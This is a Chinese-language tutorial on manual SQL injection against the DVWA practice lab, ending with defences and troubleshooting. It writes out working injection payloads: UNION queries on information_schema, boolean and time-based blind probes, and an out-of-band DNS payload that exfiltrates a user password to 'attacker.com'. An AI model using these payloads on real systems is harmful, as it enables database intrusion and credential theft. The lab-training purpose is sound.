1. DVWA靶场与SQL注入漏洞概述
DVWA(Damn Vulnerable Web Application)是一个专门为安全测试人员设计的漏洞演练平台,内置了从低到高不同安全等级的漏洞环境。其中SQL注入模块是最经典的漏洞类型之一,它模拟了开发者未对用户输入进行过滤处理,导致攻击者能够通过构造特殊输入来操纵数据库查询语句的安全漏洞。
手工注入区别于自动化工具(如sqlmap),要求测试者手动构造payload并逐步获取数据库信息。这种方式虽然效率较低,但能帮助安全人员深入理解注入原理,也是CTF比赛和渗透测试认证考试的常见考点。
2. 实验环境搭建准备
2.1 基础环境配置
推荐使用以下组合搭建实验环境:
- Kali Linux 2023.4(内置Apache/MySQL/PHP)
- DVWA 1.10最新版
- Firefox浏览器 + HackTools插件
注意:DVWA配置文件config/config.inc.php中需确保
$_DVWA[ 'db_server' ] = '127.0.0.1';使用本地数据库
2.2 安全等级设置
在DVWA Security选项卡中:
- 将难度调整为"Low"(最低防护级别)
- 确认PHP配置关闭了magic_quotes_gpc
- 确保数据库用户权限为root
3. 手工注入全流程解析
3.1 漏洞点探测
访问"SQL Injection"模块,在用户ID输入框尝试基础测试:
1' and '1'='1 -- 应返回正常结果 1' and '1'='2 -- 应返回空结果3.2 确定字段数
使用ORDER BY语句逐步测试:
1' ORDER BY 1-- 1' ORDER BY 2-- ...当出现"Unknown column"错误时,前一个数字即为字段总数
3.3 联合查询注入
构造UNION SELECT获取数据库信息:
1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--关键参数说明:
- group_concat():合并多行结果
- information_schema:MySQL元数据库
- database():当前数据库名函数
4. 高级注入技巧
4.1 盲注技术
当页面无显错时采用布尔盲注:
1' AND (SELECT SUBSTRING(user(),1,1))='r'--通过页面返回差异判断条件真假
4.2 时间盲注
利用延时函数判断:
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)--4.3 OOB带外通道
当常规注入受阻时,通过DNS解析外带数据:
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))--5. 防御方案与修复建议
5.1 代码层防护
- 使用参数化查询(PDO/prepared statements)
- 输入验证白名单
- 最小权限原则配置数据库账户
5.2 系统层防护
- WAF规则配置(如ModSecurity CRS)
- 数据库审计日志监控
- 定期漏洞扫描
6. 实战经验与排错指南
常见问题处理:
报错"Table 'dvwa.users' doesn't exist"
- 检查数据库是否初始化
- 执行
/setup.php重置数据库
注入无回显
- 尝试盲注技术
- 检查页面源码可能隐藏错误信息
特殊字符被转义
- 测试编码绕过(如十六进制)
- 尝试注释符变体(#替换-- )
性能优化技巧:
- 使用二分法加速盲注过程
- 优先查询information_schema减少请求次数
- 结合Burp Suite的Intruder模块自动化测试